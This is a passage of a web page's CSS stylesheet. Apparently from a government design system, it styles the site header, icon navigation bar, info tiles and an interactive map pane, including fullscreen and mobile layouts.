        width: 100%
      }

      @media screen and (max-width:767px) {
        .bl-header {
          height: auto !important
        }
      }

      @media screen and (min-width:767.1px) {
        .bl-header--fixed .bl-header__navigation {
          left: 0;
          position: fixed;
          right: 0;
          z-index: 8112
        }

        .bl-header-wrapper {
          position: sticky;
          z-index: 8112
        }
      }

      .bl-icon-button {
        justify-content: center;
        line-height: 1;
        overflow: visible;
        padding: 0;
        width: 3.5rem
      }

      .bl-icon-button__icon {
        height: 1.75rem;
        fill: #fff
      }

      @media screen and (max-width:767px) {
        .bl-footer {
          padding-bottom: 9rem
        }
      }

      .bl-icon-navigation {
        background: #e8ebee;
        border-bottom: 1px solid #cbd2da;
        display: none;
        min-width: 100%;
        white-space: nowrap;
        width: 1px
      }

      @media screen and (max-width:767px) {
        .bl-icon-navigation {
          border-bottom: none;
          border-top: 1px solid #cbd2da;
          display: block
        }
      }

      .bl-icon-navigation--fixed {
        left: 0;
        position: fixed;
        right: 0;
        top: 4.4rem;
        width: 100%;
        z-index: 801
      }

      @media screen and (max-width:767px) {
        .bl-icon-navigation {
          bottom: 0;
          left: 0;
          position: fixed;
          top: auto !important;
          z-index: 801
        }

        .bl-icon-navigation .layout {
          padding: 0
        }
      }

      .bl-icon-navigation__backdrop {
        background-color: rgba(232, 235, 238, .95);
        bottom: 0;
        left: 0;
        opacity: .95;
        opacity: 0;
        position: fixed;
        right: 0;
        top: 0;
        transition: .3s linear;
        visibility: hidden;
        z-index: 10008;
        z-index: 801
      }

      @media screen and (min-width:767.1px) {
        .bl-icon-navigation__backdrop {
          display: none
        }
      }

      .bl-icon-navigation__backdrop--visible {
        opacity: 1;
        visibility: visible
      }

      .bl-icon-navigation__list {
        display: flex;
        flex-direction: row;
        flex-grow: 1;
        flex-wrap: nowrap;
        left: 0;
        margin: 0 0 0 7.5rem;
        padding: 0;
        position: relative
      }

      .bl-icon-navigation__topics .bl-icon-navigation__list {
        margin: 0
      }

      @media screen and (max-width:767px) {
        .bl-icon-navigation__topics .bl-icon-navigation__list {
          flex-wrap: wrap;
          max-height: 70vh;
          overflow-y: auto
        }

        .bl-icon-navigation__list {
          z-index: 805
        }
      }

      @media screen and (max-width:1023px) {
        .bl-icon-navigation__list {
          margin: 0 -1.5rem
        }
      }

      @media screen and (min-width:767.1px) {
        .bl-icon-navigation__list {
          overflow-y: hidden
        }
      }

      .bl-icon-navigation__topics {
        display: flex;
        flex-direction: row;
        flex-wrap: nowrap;
        position: relative
      }

      @media screen and (max-width:767px) {
        .bl-icon-navigation__topics {
          background: #fff;
          bottom: 7.35rem;
          box-shadow: 0 -3px 17px rgba(0, 0, 0, .15);
          flex-wrap: wrap;
          left: 0;
          opacity: 0;
          padding: 1rem;
          position: fixed;
          right: 0;
          transform: translate3d(0, 1rem, 0);
          transition: transform .3s ease-in-out .3s, opacity .2s linear 0s;
          visibility: hidden
        }

        .bl-icon-navigation__topics--open {
          opacity: 1;
          transform: translateZ(0);
          transition: transform .3s ease-in-out, opacity .2s linear .1s;
          visibility: visible
        }
      }

      .bl-icon-navigation__topics__close {
        padding: 1rem .5rem 0;
        position: absolute;
        right: .5rem;
        top: -3.25rem
      }

      @media screen and (min-width:767.1px) {
        .bl-icon-navigation__topics__close {
          display: none
        }
      }

      .bl-icon-navigation__item,
      .bl-icon-navigation__separator {
        display: inline-block
      }

      .bl-icon-navigation__separator {
        height: 7.6rem;
        margin: 0 1.5rem;
        position: relative
      }

      @media screen and (max-width:767px) {
        .bl-icon-navigation__separator {
          display: none
        }
      }

      .bl-icon-navigation__separator:before {
        background: #cbd2da;
        content: "";
        height: calc(100% - 2rem);
        left: -.1rem;
        position: absolute;
        top: 1.5rem;
        width: .1rem
      }

      .bl-icon-navigation__item {
        flex-basis: 9rem;
        flex-grow: 1;
        height: 8.5rem;
        max-width: 12rem;
        overflow: hidden;
        vertical-align: top;
        white-space: normal
      }

      @media screen and (max-width:767px) {
        .bl-icon-navigation__item {
          flex-grow: 1;
          height: 7.25rem;
          max-width: none
        }

        .bl-icon-navigation__topics .bl-icon-navigation__item {
          flex: 0 0 100%;
          height: 5rem
        }

        .bl-icon-navigation__item pre {
          display: inline
        }
      }

      @media screen and (min-width:767.1px) {
        .bl-icon-navigation__item--preferences {
          display: none
        }
      }

      .bl-icon-navigation__item--toggle {
        flex-basis: auto;
        max-width: none
      }

      @media screen and (min-width:767.1px) {
        .bl-icon-navigation__item__text-break {
          display: block
        }
      }

      .bl-icon-navigation__item__button {
        background: #e8ebee;
        border: none;
        display: block;
        font-weight: 500;
        font-weight: var(--vlw-theme-font-weight-bold, 500);
        height: 100%;
        line-height: 1;
        padding: 0;
        position: relative;
        text-align: center;
        -webkit-text-decoration: none;
        text-decoration: none;
        width: 100%
      }

      .bl-icon-navigation__item__button,
      .bl-icon-navigation__item__button:visited {
        color: #05c;
        color: var(--vlw-theme-action-color, #05c)
      }

      @media screen and (max-width:767px) {
        .bl-icon-navigation__item__button {
          z-index: 801
        }

        .bl-icon-navigation__topics .bl-icon-navigation__item__button {
          background: #fff
        }
      }

      .bl-icon-navigation__item__button * {
        pointer-events: none
      }

      .bl-icon-navigation__item__button__wrapper {
        align-items: center;
        display: flex;
        flex-direction: column;
        height: 100%;
        justify-content: center;
        padding: 0 1.5rem;
        position: relative;
        width: 100%
      }

      @media screen and (max-width:767px) {
        .bl-icon-navigation__topics .bl-icon-navigation__item__button__wrapper {
          flex-direction: row;
          justify-content: flex-start;
          margin: 0;
          padding: 0
        }
      }

      @media screen and (min-width:767.1px) {
        .bl-icon-navigation__item--toggle>.bl-icon-navigation__item__button {
          display: none
        }
      }

      @media screen and (max-width:767px) {
        .bl-icon-navigation__topics .bl-icon-navigation__item:not(:last-child) .bl-icon-navigation__item__button {
          border-bottom: 1px solid #e8ebee
        }
      }

      .bl-icon-navigation__item__button:before {
        background: transparent;
        bottom: 0;
        content: "";
        height: .2rem;
        left: 0;
        position: absolute;
        right: 0;
        transform: translate3d(0, .2rem, 0)
      }

      @media screen and (max-width:767px) {
        .bl-icon-navigation__item__button:before {
          bottom: auto;
          top: 0;
          transform: translate3d(0, -.2rem, 0)
        }

        .bl-icon-navigation__item__button {
          padding: 0 1rem;
          width: 100%
        }
      }

      .bl-icon-navigation__item__button:focus,
      .bl-icon-navigation__item__button:hover {
        transition: .2s linear
      }

      .bl-icon-navigation__item--loaded .bl-icon-navigation__item__button:focus:before,
      .bl-icon-navigation__item--loaded .bl-icon-navigation__item__button:hover:before {
        background: #05c;
        background: var(--vlw-theme-action-color, #05c);
        transform: translateZ(0);
        transition: background .2s linear .2s, transform .3s linear .1s
      }

      @media screen and (max-width:767px) {

        .bl-icon-navigation__topics .bl-icon-navigation__item__button:focus:before,
        .bl-icon-navigation__topics .bl-icon-navigation__item__button:hover:before {
          background: transparent
        }
      }

      .bl-icon-navigation__item--placeholder .bl-icon-navigation__item__button {
        color: #cfd5dd
      }

      .bl-icon-navigation__item--placeholder .bl-icon-navigation__item__button:focus,
      .bl-icon-navigation__item--placeholder .bl-icon-navigation__item__button:hover {
        background: none
      }

      .bl-icon-navigation__item--loaded.bl-icon-navigation__item--active>.bl-icon-navigation__item__button {
        background: #e8ebee !important;
        color: #333332 !important
      }

      .bl-icon-navigation__item--loaded.bl-icon-navigation__item--active>.bl-icon-navigation__item__button:before {
        background: #333332;
        transform: translateZ(0);
        transition: background .2s linear .2s, transform .3s linear .1s
      }

      @media screen and (max-width:767px) {
        .bl-icon-navigation__topics .bl-icon-navigation__item--loaded.bl-icon-navigation__item--active>.bl-icon-navigation__item__button {
          background: transparent !important
        }

        .bl-icon-navigation__topics .bl-icon-navigation__item--loaded.bl-icon-navigation__item--active>.bl-icon-navigation__item__button:before {
          display: none
        }
      }

      .bl-icon-navigation__item--loaded.bl-icon-navigation__item--active>.bl-icon-navigation__item__button .bl-icon-navigation__item__button__icon__figure {
        fill: #333332
      }

      .bl-icon-navigation__item__button__label {
        display: block;
        font-size: 1.2rem;
        line-height: 1;
        margin: .5rem 0 0;
        min-height: 2.4rem;
        opacity: 0;
        position: relative;
        text-transform: uppercase
      }

      .bl-icon-navigation__item--loaded .bl-icon-navigation__item__button__label {
        opacity: 1;
        transition: opacity .5s
      }

      @media screen and (max-width:767px) {
        .bl-icon-navigation__topics .bl-icon-navigation__item__button__label {
          font-size: 1.5rem;
          font-weight: 400;
          margin: 0;
          text-align: left;
          text-transform: none
        }
      }

      @media screen and (max-width:1023px) {
        .bl-icon-navigation__item__button__label {
          font-size: 1.1rem
        }
      }

      @media screen and (max-width:767px) {
        .bl-icon-navigation__item__button__label {
          min-height: 0
        }
      }

      .bl-icon-navigation__item__button__icon {
        align-items: center;
        display: flex;
        height: 2.5rem;
        justify-content: center;
        position: relative;
        width: 100%
      }

      @media screen and (max-width:767px) {
        .bl-icon-navigation__topics .bl-icon-navigation__item__button__icon {
          width: auto
        }
      }

      .bl-icon-navigation__item__button__icon:before {
        background: rgba(0, 0, 0, .02);
        content: "";
        display: block;
        height: 1rem;
        left: 50%;
        max-width: 7rem;
        position: absolute;
        top: 3.5rem;
        transform: translate3d(-50%, 0, 0);
        width: 80%
      }

      @media screen and (max-width:767px) {
        .bl-icon-navigation__topics .bl-icon-navigation__item__button__icon:before {
          left: 6rem;
          max-width: 12rem;
          top: .6rem;
          transform: translateZ(0);
          width: 12rem
        }
      }

      .bl-icon-navigation__item__button__icon:after {
        background: rgba(0, 0, 0, .02);
        border-radius: 50%;
        content: "";
        display: inline-block;
        height: 3rem;
        left: 50%;
        opacity: 1;
        position: absolute;
        top: 50%;
        transform: translate3d(-50%, -50%, 0);
        visibility: visible;
        width: 3rem
      }

      .bl-icon-navigation__item--loaded .bl-icon-navigation__item__button__icon:after,
      .bl-icon-navigation__item--loaded .bl-icon-navigation__item__button__icon:before {
        opacity: 0;
        transition: opacity .2s linear;
        visibility: hidden
      }

      @media screen and (max-width:767px) {
        .bl-icon-navigation__item__button__icon {
          height: 2rem
        }
      }

      .bl-icon-navigation__item__button__icon__figure {
        display: block;
        position: relative;
        text-align: center;
        fill: #05c;
        fill: var(--vlw-theme-action-color, #05c);
        opacity: 0;
        transition: .6s
      }

      .bl-icon-navigation__item--loaded .bl-icon-navigation__item__button__icon__figure {
        opacity: 1
      }

      .bl-icon-navigation__item--placeholder .bl-icon-navigation__item__button__icon__figure {
        fill: #cfd5dd
      }

      @media screen and (max-width:767px) {
        .bl-icon-navigation__item__button__icon__figure {
          width: 1.8rem
        }

        .bl-icon-navigation__topics .bl-icon-navigation__item__button__icon__figure {
          width: 6rem
        }
      }

      .bl-icon-navigation__item__button[href=""] {
        color: #cbd2da
      }

      .bl-icon-navigation__item__button[href=""] .bl-icon-navigation__item__button__icon__figure {
        fill: #cbd2da
      }

      .bl-info-tile--has-alert,
      .bl-info-tile--has-alert:focus,
      .bl-info-tile--has-alert:hover {
        background: #fef9e5;
        border-color: #ffd99d
      }

      .bl-info-tile--stretched {
        height: 100%
      }

      .bl-info-tile__header__wrapper {
        display: flex;
        flex-direction: column;
        justify-content: center;
        width: 100%
      }

      .vl-info-tile--clickable {
        -webkit-text-decoration: none;
        text-decoration: none
      }

      .vl-info-tile--clickable:focus.vl-info-tile--date .vl-info-tile__date,
      .vl-info-tile--clickable:hover.vl-info-tile--date .vl-info-tile__date {
        background: #004ab3;
        background: var(--vlw-theme-action-hover-color, #004ab3)
      }

      .vl-info-tile--clickable .vl-info-tile__header__title {
        color: #05c;
        color: var(--vlw-theme-action-color, #05c)
      }

      .vl-info-tile--clickable.vl-info-tile--date .vl-info-tile__date {
        background: #004ab3;
        background: var(--vlw-theme-action-hover-color, #004ab3)
      }

      .vl-info-tile--clickable .vl-alert--warning .vl-icon {
        color: #d07b06
      }

      .vl-info-tile--clickable .vl-icon {
        color: #333332
      }

      .vl-info-tile .vl-alert--naked {
        align-items: center
      }

      .vl-info-tile .vl-alert__icon {
        font-size: 2rem;
        margin-right: 1rem
      }

      .vl-info-tile .vl-alert__title,
      .vl-info-tile .vl-info-tile__message,
      .vl-info-tile .vl-u-mark--info {
        color: #333332;
        font-size: 1.6rem;
        font-weight: 500
      }

      .vl-info-tile__header__title {
        font-weight: 500;
        font-weight: var(--vlw-theme-font-weight-bold, 500)
      }

      .vl-info-tile__header__subtitle {
        line-height: inherit
      }

      .vl-info-tile__header__subtitle__highlight {
        color: #333332
      }

      .vl-map__pane {
        display: flex;
        flex-direction: column;
        height: 100%;
        left: 0;
        max-width: 85%;
        position: absolute;
        top: 0;
        z-index: 2
      }

      .vl-map__pane--visible+.vl-map__loading {
        padding-left: 420px
      }

      @media screen and (max-width:767px) {
        .vl-map__pane {
          display: none;
          max-width: 100%;
          width: 100%
        }

        .vl-map__pane--visible {
          display: flex
        }
      }

      .vl-map__pane__legend-bullet {
        background: #e8ebee;
        border-radius: 50%;
        display: inline-block;
        height: 16px;
        position: relative;
        width: 16px
      }

      .vl-map__pane__legend-bullet:after {
        background: #fff;
        border-radius: 50%;
        content: "";
        height: 6px;
        left: 5px;
        position: absolute;
        top: 5px;
        width: 6px
      }

      .vl-map__pane .js-vl-accordion>.vl-map__pane__menu__item__toggle>.vl-map__pane__menu__item__toggle__icon:before {
        transform: rotate(0);
        transition: all .2s ease-in-out
      }

      .vl-map__pane .js-vl-accordion--open .vl-vi-arrow-right-fat:before {
        transform: rotate(0)
      }

      .vl-map__pane .js-vl-accordion--open>.vl-map__pane__menu__item__toggle>.vl-map__pane__menu__item__toggle__icon:before {
        transform: rotate(180deg)
      }

      .vl-map__pane__wrap {
        background: #fff;
        box-shadow: 0 2px 10px 0 rgba(0, 0, 0, .3);
        display: flex;
        flex-direction: column;
        height: 100%;
        left: 0;
        overflow: hidden;
        position: absolute;
        top: 0;
        width: 420px;
        z-index: 1
      }

      @media screen and (max-width:767px) {
        .vl-map__pane__wrap {
          box-shadow: none;
          width: 100%
        }
      }

      .vl-map__pane__section {
        background: #fff;
        display: flex;
        flex-direction: column;
        height: 100%;
        overflow: hidden;
        position: absolute;
        width: 100%;
        z-index: 2
      }

      .vl-map__pane__section__scroll {
        display: block;
        height: 100%;
        overflow: auto;
        width: 100%;
        -webkit-overflow-scrolling: touch
      }

      .vl-map__pane__section--stacked {
        box-shadow: 0 2px 10px 0 rgba(0, 0, 0, .3);
        width: 88%;
        z-index: 3
      }

      .vl-map__pane__section--stacked .vl-map__pane__content,
      .vl-map__pane__section--stacked .vl-map__pane__heading {
        position: relative;
        z-index: 2
      }

      .vl-map__pane__section--stacked:after {
        background: #fff;
        content: "";
        display: block;
        height: 100%;
        opacity: 0;
        position: absolute;
        right: -50%;
        top: 0;
        transition: all .3s ease-in-out;
        width: 100%;
        z-index: 0
      }

      .vl-map__pane__section--stacked.vl-map__pane__section--open {
        z-index: 2
      }

      .vl-map__pane__section--stacked.vl-map__pane__section--open:after {
        opacity: .6
      }

      .vl-map__pane__section--open {
        z-index: 1
      }

      .vl-map__pane__toggle {
        align-items: center;
        background: #fff;
        border: 1px solid #e8ebee;
        border-left: none;
        border-radius: 0 2px 2px 0;
        display: flex;
        flex-direction: column;
        height: 44px;
        justify-content: center;
        left: 0;
        padding: 0;
        position: absolute;
        text-align: center;
        top: 20px;
        transition: .25s ease-in .05s;
        width: 44px;
        z-index: 1
      }

      @media screen and (max-width:767px) {
        .vl-map__pane__toggle {
          display: none
        }
      }

      .vl-map__pane__toggle .vl-vi {
        font-size: 1.4rem
      }

      .vl-map__pane__toggle .vl-vi:before {
        transition: .3s linear .15s
      }

      .vl-map__pane__toggle--open {
        left: 420px;
        transition: .35s ease-in-out .1s
      }

      .vl-map__pane__toggle--open .vl-vi:before {
        transform: rotate(180deg);
        transition: .3s linear .25s
      }

      .vl-map__pane__heading {
        background: #e8ebee;
        display: block;
        flex: 0 0 auto;
        padding: 0 15px
      }

      .vl-map__pane__heading__main {
        align-items: center;
        border-bottom: 1px solid #e8ebee;
        display: flex;
        justify-content: center;
        padding: 22px 0;
        -webkit-text-decoration: none;
        text-decoration: none
      }

      .vl-map__pane__heading__main__back {
        border-right: 1px solid #cbd2da;
        display: flex;
        flex-direction: column;
        margin-right: 15px;
        padding-right: 15px
      }

      .vl-map__pane__heading__main__back__icon {
        align-items: center;
        display: flex;
        justify-content: center
      }

      .vl-map__pane__heading__main__back__icon:before {
        color: #333332;
        font-size: 1.2rem
      }

      .vl-map__pane__heading__main__back:focus .vl-map__pane__heading__main__back__icon:before,
      .vl-map__pane__heading__main__back:hover .vl-map__pane__heading__main__back__icon:before {
        color: #05c
      }

      .vl-map__pane__heading__main__title {
        display: flex;
        font-size: 16px;
        font-weight: 500;
        font-weight: var(--vlw-theme-font-weight-bold, 500);
        line-height: 1.2;
        width: 100%
      }

      .vl-map__pane__heading__main--action .vl-map__pane__heading__main__title {
        color: #05c
      }

      .vl-map__pane__content {
        padding: 20px
      }

      .vl-map__pane__content__overlay {
        background-color: #8d9caa;
        height: 100%;
        opacity: .5;
        position: absolute;
        width: 100%;
        z-index: 1
      }

      .vl-map__pane__search {
        width: 100%
      }

      .vl-map__pane__menu__item__toggle {
        align-items: center;
        background: #e8ebee;
        border: none;
        cursor: pointer;
        display: flex;
        line-height: 1;
        margin: 0;
        padding: 15px;
        -webkit-text-decoration: none;
        text-decoration: none;
        width: 100%
      }

      .vl-map__pane__menu__item__toggle__label {
        color: #05c;
        flex-grow: 1;
        font-size: 16px;
        font-weight: 500;
        font-weight: var(--vlw-theme-font-weight-bold, 500);
        text-align: left
      }

      .vl-map__pane__menu__item__toggle__icon {
        margin-right: 15px
      }

      .vl-map__pane__menu__item__toggle__icon:before {
        font-size: 10px;
        transition: all .2s ease-in-out
      }

      .vl-map__pane__list__item.js-vl-accordion .vl-map__pane__list__item__block__content__toggle>.vl-map__pane__list__item__block__content__toggle__icon:before {
        transform: rotate(0);
        transition: all .2s ease-in-out
      }

      .vl-map__pane__list__item.js-vl-accordion--open .vl-map__pane__list__item__block__content__toggle>.vl-map__pane__list__item__block__content__toggle__icon:before {
        transform: rotate(180deg)
      }

      .vl-map__pane__list__item.js-vl-accordion--open .js-vl-accordion .vl-map__pane__list__item__block__content__toggle>.vl-map__pane__list__item__block__content__toggle__icon:before {
        transform: rotate(0)
      }

      .vl-map__pane__list__item.js-vl-accordion--open .js-vl-accordion--open .vl-map__pane__list__item__block__content__toggle>.vl-map__pane__list__item__block__content__toggle__icon:before {
        transform: rotate(180deg)
      }

      .vl-map__pane__list__item .vl-map__pane__list__item__toggle+.vl-map__pane__list__item__checkbox,
      .vl-map__pane__list__item .vl-map__pane__list__item__toggle+.vl-map__pane__list__item__radio {
        height: 68px;
        padding: 15px 0;
        position: absolute;
        top: 6px
      }

      .vl-map__pane__list--compact .vl-map__pane__list__item .vl-map__pane__list__item__toggle+.vl-map__pane__list__item__checkbox,
      .vl-map__pane__list--compact .vl-map__pane__list__item .vl-map__pane__list__item__toggle+.vl-map__pane__list__item__radio {
        height: 45px;
        padding: 10px 0
      }

      .vl-map__pane__list__item__checkbox {
        align-self: flex-start;
        max-width: 85%;
        padding: 0
      }

      .vl-map__pane__list__item__checkbox__label {
        color: #05c;
        display: inline-flex;
        height: 100%;
        width: 100%
      }

      .vl-map__pane__list__item__checkbox__label__text {
        display: block;
        overflow: hidden;
        text-overflow: ellipsis;
        white-space: nowrap
      }

      .vl-map__pane__list__item__accordion-content__indent {
        padding-left: 4.5rem
      }

      .vl-map__pane__list__item__block {
        border: none;
        color: #333332;
        display: block;
        min-height: 68px;
        padding: 15px 0;
        position: relative;
        -webkit-text-decoration: none;
        text-decoration: none;
        width: 100%
      }

      .vl-map__pane__list--compact .vl-map__pane__list__item__block {
        min-height: 45px;
        padding: 10px 0
      }

      .vl-map__pane__list__item__block__icon {
        align-items: center;
        display: flex;
        flex: 0 0 28px;
        height: 28px;
        justify-content: center;
        position: absolute;
        text-align: center;
        top: 15px;
        width: 28px
      }

      .vl-map__pane__list--compact .vl-map__pane__list__item__block__icon {
        min-height: 35px;
        top: 10px
      }

      .vl-map__pane__list__item__block__icon+.vl-map__pane__list__item__block__content {
        padding-left: 43px
      }

      .vl-map__pane__list__item__block__icon .vl-vi:before {
        font-size: 2.5rem
      }

      .vl-map__pane__list__item__block__icon--error:before,
      .vl-map__pane__list__item__block__icon--success:before {
        border: 2px solid #fff;
        border-radius: 12px;
        bottom: -4px;
        content: "";
        height: 12px;
        position: absolute;
        right: -6px;
        width: 12px
      }

      .vl-map__pane__list__item__block__icon--success:before {
        background: #8bae00
      }

      .vl-map__pane__list__item__block__icon--error:before {
        background: #db3434
      }

      .vl-map__pane__list__item__block__content {
        align-items: center;
        display: flex;
        flex-direction: row;
        justify-content: space-between
      }

      .vl-map__pane__list--compact .vl-map__pane__list__item__block__content {
        min-height: 35px
      }

      .vl-map__pane__list__item__block__content__main {
        display: flex;
        flex-direction: column;
        justify-content: center;
        width: 85%
      }

      .vl-map__pane__list__item__block__content__main__checkbox,
      .vl-map__pane__list__item__block__content__main__radio {
        max-width: 100%
      }

      .vl-map__pane__list__item__block__content__main__title {
        align-self: flex-start;
        display: block;
        font-size: 1.6rem;
        font-weight: 500;
        font-weight: var(--vlw-theme-font-weight-bold, 500);
        line-height: 1.1;
        text-align: left;
        -webkit-text-decoration: none;
        text-decoration: none
      }

      .vl-map__pane__list__item__result .vl-map__pane__list__item__block__content__main__title,
      .vl-map__pane__list__item__toggle .vl-map__pane__list__item__block__content__main__title {
        color: #05c
      }

      .vl-map__pane__list__item__result .vl-map__pane__list__item__block__content__main__title+.vl-map__pane__list__item__block__content__main__annotation,
      .vl-map__pane__list__item__toggle .vl-map__pane__list__item__block__content__main__title+.vl-map__pane__list__item__block__content__main__annotation {
        font-size: 1.6rem;
        line-height: inherit;
        text-align: left
      }

      .vl-map__pane__list__item__block__content__main__title+.vl-map__pane__list__item__block__content__main__annotation {
        margin-top: 3px
      }

      .vl-map__pane__list__item__block__content__main__annotation {
        display: block;
        line-height: 1.1
      }

      .vl-map__pane__list__item__block__content__icons {
        align-items: center;
        display: flex;
        justify-content: flex-end;
        position: relative
      }

      .vl-map__pane__list__item__block__content__icons__icon {
        align-items: center;
        display: flex;
        justify-content: center
      }

      .vl-map__pane__list__item__block__content__icons__icon:not(:first-child) {
        margin-left: .5rem
      }

      .vl-map__pane__list__item__block__content__icons .vl-tooltip {
        padding: 1rem;
        width: 27rem;
        z-index: 3
      }

      .vl-map__pane__list__item__block__content__toggle {
        width: 2rem
      }

      .vl-map__pane__list__item__block__content__arrow-right:before {
        font-size: 1.4rem
      }

      .vl-map__pane__list__item__block__content__badge {
        background: #05c;
        flex: 0 0 auto
      }

      .vl-map__pane__list__item__block__content__badge__icon {
        color: #fff !important;
        fill: #fff !important
      }

      .vl-map__pane__list__item__block__content__badge__icon:after,
      .vl-map__pane__list__item__block__content__badge__icon:before {
        color: #fff !important
      }

      .vl-map__pane__list__item__block--has-action,
      .vl-map__pane__list__item__block[href] {
        -webkit-text-decoration: none;
        text-decoration: none
      }

      .vl-map__pane__list__item__block--has-action .vl-map__pane__list__item__block__content__main__title,
      .vl-map__pane__list__item__block[href] .vl-map__pane__list__item__block__content__main__title {
        color: #05c
      }

      .vl-map__pane__list__item__block--has-action:focus,
      .vl-map__pane__list__item__block--has-action:hover,
      .vl-map__pane__list__item__block[href]:focus,
      .vl-map__pane__list__item__block[href]:hover {
        color: #333332;
        -webkit-text-decoration: none;
        text-decoration: none
      }

      .vl-map__pane__list__item__block--has-action:focus .vl-map__pane__list__item__block__content__main__title,
      .vl-map__pane__list__item__block--has-action:hover .vl-map__pane__list__item__block__content__main__title,
      .vl-map__pane__list__item__block[href]:focus .vl-map__pane__list__item__block__content__main__title,
      .vl-map__pane__list__item__block[href]:hover .vl-map__pane__list__item__block__content__main__title {
        color: #05c;
        -webkit-text-decoration: underline;
        text-decoration: underline
      }

      .vl-map__pane__list__item__block--disabled {
        color: #666
      }

      .vl-map__pane__list__item__block--disabled .vl-map__pane__list__item__block__icon__svg {
        fill: #666
      }

      .vl-map__pane__list__item--divider {
        background: #e8ebee;
        height: 1px;
        margin: 5px 0
      }

      .vl-map__pane__list--bordered .vl-map__pane__list__item:not(:last-of-type) .vl-map__pane__list__item__block {
        border-bottom: 1px solid #e8ebee;
        position: relative
      }

      .vl-map__pane__list .vl-map__pane__list .vl-map__pane__list__item__block,
      .vl-map__pane__list .vl-map__pane__list .vl-map__pane__list__item__block.vl-map__pane__list__item__toggle+.vl-map__pane__list__item__checkbox,
      .vl-map__pane__list .vl-map__pane__list .vl-map__pane__list__item__block.vl-map__pane__list__item__toggle+.vl-map__pane__list__item__radio {
        padding-left: 22px
      }

      .vl-map__pane__list .vl-map__pane__list .vl-map__pane__list__item__block.vl-map__pane__list__item__toggle+.vl-map__pane__list__item__radio .vl-map__pane__list__item__radio__label {
        position: relative
      }

      .vl-map__pane__list .vl-map__pane__list .vl-map__pane__list .vl-map__pane__list__item__block,
      .vl-map__pane__list .vl-map__pane__list .vl-map__pane__list .vl-map__pane__list__item__block.vl-map__pane__list__item__toggle+.vl-map__pane__list__item__checkbox,
      .vl-map__pane__list .vl-map__pane__list .vl-map__pane__list .vl-map__pane__list__item__block.vl-map__pane__list__item__toggle+.vl-map__pane__list__item__radio {
        padding-left: 44px
      }

      .layer-map-pane-enter-active,
      .layer-map-pane-leave-active {
        transition: opacity .15s linear .2s, transform .35s ease-in-out
      }

      @media screen and (max-width:767px) {

        .layer-map-pane-enter-active,
        .layer-map-pane-leave-active {
          transition: opacity .15s linear .2s
        }
      }

      .layer-map-pane-enter,
      .layer-map-pane-leave-to {
        opacity: 0;
        transform: translate3d(-10%, 0, 0)
      }

      @media screen and (max-width:767px) {

        .layer-map-pane-enter,
        .layer-map-pane-leave-to {
          transform: translate3d(-100%, 0, 0)
        }
      }

      .layer-map-pane-section-left-enter-active,
      .layer-map-pane-section-left-leave-active,
      .layer-map-pane-section-right-enter-active,
      .layer-map-pane-section-right-leave-active {
        transition: .35s
      }

      .layer-map-pane-section-left-enter-active.vl-map__pane__section--stacked,
      .layer-map-pane-section-left-leave-active.vl-map__pane__section--stacked,
      .layer-map-pane-section-right-enter-active.vl-map__pane__section--stacked,
      .layer-map-pane-section-right-leave-active.vl-map__pane__section--stacked {
        z-index: 4
      }

      .layer-map-pane-section-left-enter,
      .layer-map-pane-section-left-leave-to {
        opacity: 0;
        transform: translate3d(-10%, 0, 0)
      }

      .layer-map-pane-section-right-enter,
      .layer-map-pane-section-right-leave-to {
        opacity: 0;
        transform: translate3d(10%, 0, 0)
      }

      .vl-map--with-header {
        margin-top: 60px
      }

      @media screen and (max-width:767px) {
        .vl-map--with-header {
          margin-top: 79px
        }
      }

      .vl-map__header {
        display: block;
        height: 60px;
        left: 0;
        position: absolute;
        top: 0;
        transform: translate3d(0, -60px, 0);
        width: 100%;
        z-index: 3
      }

      @media screen and (max-width:767px) {
        .vl-map__header {
          background: #fff;
          height: 79px;
          transform: translate3d(0, -79px, 0)
        }
      }

      .vl-map__header__tabs {
        display: none;
        margin: 0
      }

      @media screen and (max-width:767px) {
        .vl-map__header__tabs {
          display: block
        }
      }

      .vl-map__header__tabs__tab {
        text-align: center;
        width: 50%
      }

      .vl-map__container:-moz-full-screen {
        height: auto !important
      }

      .vl-map__container:-moz-full-screen .vl-map__header {
        background: #fff;
        height: auto;
        transform: translateZ(0)
      }

      @media screen and (max-width:767px) {
        .vl-map__container:-moz-full-screen .vl-map__pane__wrap {
          padding-top: 109px
        }
      }

      .vl-map__container:-moz-full-screen .vl-map__search {
        margin: 1.5rem
      }

      @media screen and (min-width:767.1px) {
        .vl-map__container:-moz-full-screen .vl-map__search {
          display: none
        }
      }

      @media screen and (max-width:767px) {
        .vl-map__container:-moz-full-screen .ol-full-screen {
          z-index: 3
        }
      }

      .vl-map__container:-moz-full-screen canvas {
        background-color: #fff
      }

      .vl-map__container:-webkit-full-screen {
        height: auto !important
      }

      .vl-map__container:-webkit-full-screen .vl-map__header {
        background: #fff;
        height: auto;
        transform: translateZ(0)
      }

      @media screen and (max-width:767px) {
        .vl-map__container:-webkit-full-screen .vl-map__pane__wrap {
          padding-top: 109px
        }
      }

      .vl-map__container:-webkit-full-screen .vl-map__search {
        margin: 1.5rem
      }

      @media screen and (min-width:767.1px) {
        .vl-map__container:-webkit-full-screen .vl-map__search {
          display: none
        }
      }

      @media screen and (max-width:767px) {
        .vl-map__container:-webkit-full-screen .ol-full-screen {
          z-index: 3
        }
      }

      .vl-map__container:-webkit-full-screen canvas {
        background-color: #fff
      }

      .vl-map__container:-ms-fullscreen {
        height: auto !important
      }

      .vl-map__container:-ms-fullscreen .vl-map__header {
        background: #fff;
        height: auto;
        transform: translateZ(0)
      }

      @media screen and (max-width:767px) {
        .vl-map__container:-ms-fullscreen .vl-map__pane__wrap {
          padding-top: 109px
        }
      }

      .vl-map__container:-ms-fullscreen .vl-map__search {
        margin: 1.5rem
      }

      @media screen and (min-width:767.1px) {
        .vl-map__container:-ms-fullscreen .vl-map__search {
          display: none
        }
      }

      @media screen and (max-width:767px) {
        .vl-map__container:-ms-fullscreen .ol-full-screen {
          z-index: 3
        }
      }

      .vl-map__container:fullscreen {
        height: auto !important
      }

      .vl-map__container:fullscreen .vl-map__header {
        background: #fff;
        height: auto;
        transform: translateZ(0)
      }

      @media screen and (max-width:767px) {
        .vl-map__container:fullscreen .vl-map__pane__wrap {
          padding-top: 109px
        }
      }

      .vl-map__container:fullscreen .vl-map__search {
        margin: 1.5rem
      }

      @media screen and (min-width:767.1px) {
        .vl-map__container:fullscreen .vl-map__search {
          display: none
        }
      }

      @media screen and (max-width:767px) {
        .vl-map__container:fullscreen .ol-full-screen {
          z-index: 3
        }
      }

      .vl-map__container:fullscreen canvas {
        background-color: #fff
      }

